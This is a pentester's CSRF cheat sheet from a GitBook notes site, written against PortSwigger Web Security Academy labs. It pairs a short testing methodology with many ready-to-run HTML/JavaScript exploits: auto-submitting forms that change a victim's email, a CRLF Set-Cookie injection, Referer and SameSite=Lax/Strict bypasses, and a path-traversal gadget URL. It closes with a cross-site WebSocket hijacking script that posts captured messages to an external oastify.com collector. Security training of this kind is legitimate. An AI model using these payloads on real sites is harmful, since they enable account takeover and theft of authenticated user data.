> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/hacking-web/vulnerabilities/cross-site-request-forgery-csrf.md).

# Cross-site request forgery (CSRF)

## Methodology

**Requirements for CSRF to Work**

* A relevant action must be possible (change username, email, password, etc.)
* Cookie-based session handling
* No unpredictable or unguessable request parameters

***

#### Case 1: Testing CSRF Tokens

* Remove the CSRF token and see if the application still accepts the request.
* Change the method from `POST` to `GET`.
* Check if the CSRF token is tied to the user session.
* Create a new CSRF token from one user and use it in another session.

***

#### Case 2: When CSRF Cookies Are Present

* Check if the CSRF token is tied to the CSRF cookie.
* Submit an invalid CSRF token.
* Submit a valid CSRF token from another user.
* Submit a valid CSRF token and CSRF cookie from another user.

***

#### Case 3: When Referer Header Is Used

* Remove the `Referer` header.
* Determine which part of the referer is being validated.
* Attempt to bypass it by spoofing the required portion (see below).

***

#### Case 4: SameSite Cookies

* Analyze SameSite settings: `None`, `Lax`, `Strict`.
* Identify possible bypasses depending on configuration (see examples below).

## PoC Examples

### CSRF via GET

```html
<html>
  <body>
    <form action="https://TARGET_DOMAIN/my-account/change-email">
      <input type="hidden" name="email" value="wiener@admin-user.net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

### **CSRF via POST**

```html
<html>
  <body>
    <form action="https://TARGET_DOMAIN/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned@portswigger.net" />
      <input type="hidden" name="csrf" value="TOKEN_HERE" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```

## **Cookie header injection Technique**

If the website contains any behavior that allows an attacker to set a cookie in a victim's browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack.

**Example:**

<figure><img src="/files/7c2Ew8hhZJM1Hl5NsUXf" alt=""><figcaption><p>Functionality that injects data into the headers</p></figcaption></figure>

```sh
%0d%0aSet-Cookie: csrfKey=test
```

<figure><img src="/files/pVOTXJSh0tEPmEqsRtBR" alt=""><figcaption><p>Injecting the csrfkey cookie into the headers</p></figcaption></figure>

#### **Cookie header injection POC**

```html
<html>
	<body>
	
		<form method="POST" action="https://0aa800900408c76082d294bc004600ad.web-security-academy.net/my-account/change-email">
			<input type="hidden" name="email" value="pwned5@portswigger.net"/>
			<input type="hidden" name="csrf" value="fake"/>
			<input type="submit" value="Submit">
			<img style="display:none" src="https://0aa800900408c76082d294bc004600ad.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
		</form>

	</body>
<html>

```

## Referer techniques

### CSRF + Removing referer Header

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<head><meta name="referrer" content="never"></head>
  <body>
    <form action="https://0a4100f70320777283320039006c0033.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="admin2&#64;admin&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```

### Bypassing Mandatory Referer (Old & Modern Techniques)

**Old Technique**: Use `history.pushState()` to spoof referer:

```html
<html>
<script>
      history.pushState('', '', '/?0a69002b0413d9fc803621af0019008c.web-security-academy.net');
</script>
    <form action="https://0a69002b0413d9fc803621af0019008c.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned2@portswigger.net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

```

**Modern Technique**:

* Use header `Referrer-Policy: unsafe-url`
* Inject valid portion via URL if applicable

<figure><img src="/files/UAvK9C5HgMjby4fklXJ4" alt=""><figcaption></figcaption></figure>

## SameSite Protection Bypasses

### Bypass SameSite=Lax via \_method=POST

Some frameworks (Laravel, Symfony, Rails, etc.) support overriding HTTP methods via `_method`.

**Original Request**&#x20;

```http
POST /my-account/change-email HTTP/2
Host: 0aba0008045de6e18227572c002000fa.web-security-academy.net
email=wiener%40admin-user.net
```

Bypassed:

```http
GET /my-account/change-email?email=wiener2%40admin-user.net&_method=POST HTTP/2
Host: 0aba0008045de6e18227572c002000fa.web-security-academy.net
```

### Bypass SameSite=Strict Using Gadgets

To exploit a SameSite=Strict cookie restriction, you can search for on-site gadgets—functionalities that allow you to trigger internal requests from within the same site. Common gadgets include:

* Client-side redirects (JavaScript)
* Dynamic links or anchor tags
* Parameters that the frontend rewrites into internal URLs
* XSS reflected or stored

These features are useful because browsers consider them same-site requests, meaning cookies will be included—even if the original interaction began from a cross-site context.

**Exploitation Steps:**

1. Identify a gadget that reflects or redirects based on a user-controllable parameter (e.g., postId).
2. Craft a malicious input that rewrites the target to an internal CSRF-sensitive endpoint. (change email)
3. Trigger the gadget to make the browser issue the request from within the same site, causing it to include the session cookie.

```javascript
https://0a7200cb03ae97ef8006085700ba0028.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=pwned@admin-user.net%26submit=1%3b
```

This URL abuses a frontend gadget that rewrites the postId parameter into an internal request. By crafting the input, we force the application to issue a same-site request to /my-account/change-email, effectively bypassing the SameSite=Strict restriction and executing a CSRF attack.

#### **POC for CSRF**

```html
<script>
document.location="https://0a7200cb03ae97ef8006085700ba0028.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=pwned@admin-user.net%26submit=1"
</script>
```

### Bypass SameSite=Lax Using Newly Issued Cookies (120s Window)<br>

When a cookie is set without a SameSite attribute, Chrome applies SameSite=Lax by default.\
However, for the first 2 minutes, Chrome allows that cookie to be sent in cross-site POST requests, enabling a temporary CSRF window.

**How to Identify:**<br>

1. In Burp, find a Set-Cookie header that lacks a SameSite attribute. (/login)
2. Confirm the cookie is used for session authentication.
3. Verify a sensitive POST endpoint (e.g., /my-account/change-email) doesn't require CSRF tokens.
4. Find a gadget like /social-login that triggers a new session cookie each time it's visited.

**Exploitation Flow:**<br>

1. Use window\.open() to trigger /social-login → forces a new session cookie.
2. Wait a few seconds.
3. Auto-submit a CSRF POST form to the vulnerable endpoint using the fresh cookie.

**Final Exploit Example:**

```html
<form method="POST" action="https://0a8700130312555c80548a2c005500ee.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned2@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://0a8700130312555c80548a2c005500ee.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>
```

Result: Chrome sends the new cookie in the POST request, bypassing SameSite=Lax.

## Cross-Site WebSocket Hijacking

### CSRF + XSS + Cross-Site WebSocket Hijacking (CSWSH)

```html
<script>
    document.location = "https://cms-0aad00d003b316ec8050265e003a0086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f...%3c%2f%73%63%72%69%70%74%3e&password=test";
</script>
```

Data urldecoded

```html
<script>
    var ws = new WebSocket('wss://0aad00d003b316ec8050265e003a0086.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://1ac7w6ljeeeg0awf9oc1ixo2wt2kqbe0.oastify.com', {
            method: 'POST',
            mode: 'no-cors',
            body: event.data
        });
    };
</script>

```

The script was executed within the same origin. Since the malicious request was generated from JavaScript running on the legitimate domain, the browser included the SameSite=Strict cookie, allowing the attacker to:

* Perform a full CSRF attack
* Steal authenticated data from WebSocket messages
* Exfiltrate the data to an attacker-controlled domain
